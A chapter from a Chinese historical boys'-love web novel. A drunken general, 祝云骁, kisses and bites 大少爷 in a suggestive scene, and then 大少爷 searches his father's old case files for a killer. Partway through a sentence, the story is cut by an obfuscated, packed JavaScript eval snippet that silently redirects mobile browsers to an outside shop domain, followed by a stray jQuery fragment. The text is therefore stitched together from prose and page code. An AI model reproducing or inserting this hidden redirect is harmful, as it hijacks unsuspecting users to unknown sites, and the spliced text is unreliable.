“不行不行不行……”大少爷声音微喘,手脚发虚。
祝云骁鼻尖一直在他颈间拱来拱去,几次都推不开,手还被抓住强行放在对方肩上,大少爷坐在祝云骁腿上摇摇欲坠,晃来晃去坐不稳当。
“我又不知道是你。”
祝云骁的声音低沉嘶哑,却莫名夹杂着一丝蛊惑,伴着脖颈间的攻势,听得大少爷耳膜瘙痒,难受摇头。
大脑在酒精作用下反应慢了一拍,等消化完祝云骁说的话,衣服口都已经被解开,祝云骁像是被摄了魂魄,痴迷地闻着他身上的味道。
怎么可能不知道是他,阚子轩都说知道外边是林怀瑾,太子才会邀他进去,祝云骁这个骗子。
“你知道,你就是故意的……你故意耍我,好烦……讨厌……呜……”
喉结又被咬了一口,这么明显的地方,祝云骁是疯了吗……他从没在这个地方留下过印记,祝云骁是什么地痞流氓吗?喝点酒就开始发疯……
“唔……别咬,别咬我,会被看见的……”
大少爷身体骤然绷紧,痛的他仰头闪躲,泪水模糊视线,好委屈,肯定会被别人看到的,该死的祝云骁,为什么总是欺负自己呢……
“我咬这么低,谁能看见……”
耳边听得声音,但大少爷已经被亲的软了身子,瘫在祝云骁身上。
他急得眼泪都在往外涌,祝云骁怎么大白天说胡话,这哪里低了,这可是喉结,一眼就能看到,不能咬!
“不行!祝云骁你是醉了吗?会被人发现的!”
大少爷气急,一巴掌打在祝云骁脸上,没有用多大力气,但手心与脸蛋接触时却发出了清脆的一声响。
祝云骁被这一下打蒙了,愣愣抬眼,眼神之中带着与眉上那道疤痕大相径庭的违和。
大少爷气呼呼地拍了拍他的脸,能见到祝将军露出如此清澈的眼神,可真是难得。
“你大白天发什么颠?快点放我下来,马上到府上,你要是实在难受就睡觉,别折腾我……”
祝云骁动作粗暴起来,一手揪住他的手腕,朝着他虎口轻轻咬了一口,另一只手扯着大少爷的身子,拉进了二人之间的距离。
“你不要咬我了,我疼的……你怎么跟狗一样啊……”
刚说罢便又被轻轻咬了一下,分明很轻,大少爷却又抱怨他咬的狠了,祝云骁一时之间竟不知该作何反应。
湿热的口腔包裹住细长拇指,细细磨碾,轻轻舔舐,待大少爷想将手抽回之时再用牙咬住,时而撕咬,时而讨好。
十指连心,这一舔,舔的大少爷心头发颤,心尖发痒。
他一腔委屈无处发泄,直到祝云骁的攻势放缓,看起来像是情绪稳定了,他才软着声音问道:“今天你们到底在说什么啊?云骁哥哥你告诉我吧,我让你怎么样都行。”
祝云骁抬眼,大少爷泪眼汪汪,一双杏圆眼中含着泪花,眉心轻颤,白皙脸颊上好大一坨红晕,轻咬红唇,看起来可怜极了。
“太子询问陈夫子的案情。”
大少爷心中冷笑,呵,还说你不是太子的人,身为太子总不可能身边连个汇报案情的人都没有,太子却与八皇子一同出宫与祝云骁私会。
祝云骁私通太子,秽乱朝堂,罪不容诛!
大少爷无辜地眨巴眨巴眼睛,“还有吗?”
“快到除夕夜宴,杀手一日不落网,太子就一日无法安心筹备夜宴。”祝云骁一顿,思忖片刻,亲了一下大少爷的鼻尖,“所以太子命我四天之内找出杀手。”
四天?对于此等造成重大恐慌的案子来说,确实必须尽快将凶手抓捕归案,但是……
大少爷脸上紧张地说:“能找到吗?”
祝云骁挑眉,咧嘴笑着说:“大少爷这是在担心我?”
“……”
感受到某处不对劲,他想要起身,却被祝云骁死死抓着,钳在怀里,大少爷呵呵一笑,调整了下坐姿。
“我当然担心你了云骁哥哥,抓杀手这么辛苦的事情,有什么我能帮忙的吗?只要你说我肯定会办到的。”
“还真有一件,只能大少爷帮我……”
祝云骁眼底如无底黑洞,盯着他的眼神像是要把人席卷进去,溺死在其中。
大少爷心里砰砰直跳,轻声问:“什么?”
某处大少爷一直躲着的东西,直挺挺立了一下。
回府后,大少爷便去了卫国公的书房,这里记录着卫国公曾经写过的所有奏折。
卫国公年少时期跟着皇帝四处征战,到如今已然成为皇帝左膀右臂,当官当的久,负责过的案件就多。
他上的折子从水灾旱灾等自然灾害,再到各地凶杀案件与兵戈战事,甚至还兼任过几年大理卿,三青县那件连环杀人案,就是在他在任期间发生的。
但具体年份祝云骁记不清了,只说让他查一查五年前的所有案件记录,可能会有当时的目击证人对杀手的容貌描述。
阿季看着自家少爷抱着一堆小山一样的卷宗,不由得发出疑问:“这种事情不应该是大理寺来做吗?”
“祝云骁说缺人手,我正好除了看书闲来无事,帮着找找呗。”
大少爷面前摆着一盘萝卜糕,边吃边翻开一本卷宗,还不忘扔给阿季一本,“你也一起看看,反正没事干。”
阿季无奈,“好吧。”
整整一个下午,两个人都泡在书房里,林怀玉进来时,大少爷正坐在卫国公那把太师椅,两条腿高高翘起放在桌上。
那盘吃了一半的萝卜糕,就在距离他的脚五公分的位置上。
阿季则是有凳子不坐,非要坐在地上,正专心致志的翻阅同样摆在地上的卷宗。
看着这毫无形象气质可言的主仆二人,林怀玉一时之间面露难色。
“大哥,你们这是在……”
“怀玉,你来的正好,快来也翻一本,祝云骁被要求四天之内抓到害陈夫子的杀手,这些卷宗里可能有线索。”大少爷将腿收回,从一侧找了本卷宗递
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426575|139290||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给林怀玉。
林怀玉像是听到了什么离谱的惊天大笑话,脸上表情难以置信,翻开这本书,上边全是密密麻麻小字,几年几月,何人在何处因何毙命,凶手何人。
林怀玉不禁惊声质问:“怎么可能,他忽悠你的吧?”
“之前我不是和你说过有个专业杀手嘛,他在五年前犯过案子,所以爹爹这些卷宗里面可能会有记录,祝云骁也是实在没办法了,大理寺人手不足,他又被限定了时间,只能我们帮他了。”
大少爷眉头轻皱,眼神之中流露出对祝云骁的担心,林怀玉不禁想起之前他与自己讲起祝云骁时,那副咬牙切齿的模样,和现在宛如截然不同的两个人。
林怀玉皱眉,“你怎么这么担心他?”
阿季也一同看过来,大少爷一愣,脑袋一时间懵住,脑筋转了又转,没想明白林怀玉这话是什么意思。
“他是爹爹的亲儿子,你亲哥哥啊,你们不担心他吗……”
林怀玉鼻孔呼出一口浊气,看着眼前这个大哥,不禁怀疑他是真蠢还是装的。
祝云骁何等聪明,知道自己的身份是卫国公亲生儿子,还认了祝敬做义父,背靠两大家族势力,就算是当今圣上,要对他动手那也得力排众议,落得个不听劝谏的帽子。
联想到上次在大哥屋中,大哥与祝云骁的相处模式,祝云骁的不怀好意,大哥却俨然一副被祝云骁拿捏心性的模样……
林怀玉嗤笑一声,自己这个大哥,还真是蠢得可爱,恐怕到时候被骗了身子,又要跑来他这里哭诉。
没关系,他等着。
林怀玉拿起那本卷宗,走到另一侧书桌旁,分明是在笑着,却让大少爷感到一丝冷意:“好啊,反正也不用去书院,大哥要帮祝云骁,那我便帮大哥吧。”
“……”那股不自在的感觉又来了,怎么总觉得怀玉笑的很渗人呢……
大少爷扯了个笑,“谢谢怀玉。”
卷宗中记录的是全国的时间,不仅有伤人杀人的刑事案件,还有些侵吞田产出轨捉奸的民事案件,还有抓鸡抓狗等等鸡毛蒜皮的小事。
祝云骁不记得三青县那场案情的具体的时间,只能按照时间从头向后翻找,还得筛选出三青县,一个下午,几乎一无所获。
不过还有四天时间,但愿三天之内能找到。
卷宗字体极小,天一黑,林怀玉便建议明日再继续,大少爷也看的眼睛酸痛,只好揉着眼睛说好。
大少爷信心满满,晚上早早便钻进了被窝,静神香燃得很旺,祝云骁还没来,他就有些困了。
正昏昏欲睡之际,背后突然贴上一具火热的躯体,祝云骁猴急地在他身上亲来亲去,不忘了问一句:“找的怎么样?”
大少爷困得无力反抗,哼哼着说:“没找到。”
祝云骁一口咬上他的耳朵,不出意外惹来大少爷一声轻喘,祝云骁的声音沙哑,“明天继续……别灰心。”
“嗯,但是明天陈夫子出殡,我要先过去吊唁。”